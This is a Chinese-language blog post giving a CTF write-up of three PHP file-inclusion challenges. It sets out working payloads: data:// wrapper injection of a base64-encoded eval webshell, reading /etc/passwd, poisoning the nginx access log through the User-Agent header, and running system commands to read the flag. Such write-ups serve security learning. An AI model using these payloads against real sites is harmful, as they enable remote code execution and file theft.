TypechoJoeTheme

MUCN博客

统计
登录
用户名
密码
/
注册
用户名
邮箱
CTF

CTF文件包含类例题

2021-02-09
/
0 评论
/
37 阅读
/
正在检测是否收录...
02/09
  • 提到文件包含肯定第一处想到的知识点就是 php伪协议(暂无此文)

例题:ctf.show_web3

  • 进入界面首先一段代码:

  • 如果直接传入数据流 include是无法包含的

但是可以使用php的伪协议进行传入数据流,让include进行包含原始数据流

  • payload
?url=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

写一个代码执行:

<?php eval($_REQUEST[mucn]); ?>
base64编码后:
PD9waHAgZXZhbCgkX1JFUVVFU1RbbXVjbl0pOyA/Pg==
  • payload
?url=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbbXVjbl0pOyA/Pg==&mucn=system(%27whoami%27);//命令执行

总结:非常基础的文件包含例题

例题:ctf.show_web4

进入界面:和web3一样的界面

  • 使用上题一样的手法进行尝试:

发现error 目测是拦截

  • 开始逐个判断是拦截了哪些内容

Php 拦截
Data 拦截
Zip 不拦截
几个最常用的伪协议基本都拦截 多次方式绕过无果。参考wp得知手法

尝试包含/etc/passwd

  • Payload:
?url=/etc/passwd

发现读取到了passwd文件

  • 这题需要丰富的联想能力。

尝试读取日志文件
Apache和nginx的日志通常存在于/var/log/apache(apache2/nginx)/access.log中

  • 尝试读取日志
  • Payload:
?url=/var/log/nginx/access.log

发现读取到了访问日志 access.log会记录访问日志

  • 那么写入一句话到日志中

  • 包含日志文件
  • 发现没能成功显出phpinfo();
  • 查看日志


发现内容被编码无法执行 那么改变思路 修改user-agent内容

访问后再次查看日志

发现user-agent无内容 应该是被包含执行了

  • Payload:
?url=/var/log/nginx/access.log&mucn=phpinfo();

  • 可使用菜刀/蚁剑连接

此处就不麻烦了 直接进行构造

  • Payload:
?url=/var/log/nginx/access.log&mucn=system(%27cat%20/var/www/flag.txt%27);

例题:[BJDCTF2020]ZJCTF,不过如此

进入界面发现代码审计,简单审计后

<?php

error_reporting(0);
//报错设置
$text = $_GET["text"];
//定义变量
$file = $_GET["file"];
//同上
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    /*需要满足以下条件即可进入语句
    text变量存在
    text变量内容为I have a dream(此处可以使用伪协议)
     */
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    //输出变量内容
    if(preg_match("/flag/",$file)){
        //进行匹配 如果file参数中存在flag字符则退出并输出
        die("Not now!");
    }

    include($file);  //next.php
    //包含file
}
else{
    highlight_file(__FILE__);
    //高亮显示代码
}
?>
  • 其中第一处判断可使用php伪协议进行传入数据流
  • payload
data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=
或
data://text/plain,I have a dream
或
php://input   ---> POST传入数据:I have a dream

接下来的include包含文件尝试包含数据流执行php语句无果。

解题方法1:

直接老办法,读取日志getshell
user-agent:写入一句话木马

  • 访问页面后

File直接指向nginx的日志文件

  • Payload:
指向日志
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=data://text/plain;base64&file=/var/log/nginx/access.log
  • Payload:
执行php
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=data://text/plain;base64&file=/var/log/nginx/access.log&mucn=phpinfo();

其他方法:

  • 参考文章:

https://www.cnblogs.com/wangtanzhi/p/12328083.html
https://xz.aliyun.com/t/2557

文件包含ctf
朗读
赞(3)
版权属于:

MUCN博客

本文链接:

https://mucn.site/index.php/CTF/316.html(转载时请注明本文出处及文章链接)

评论 (0)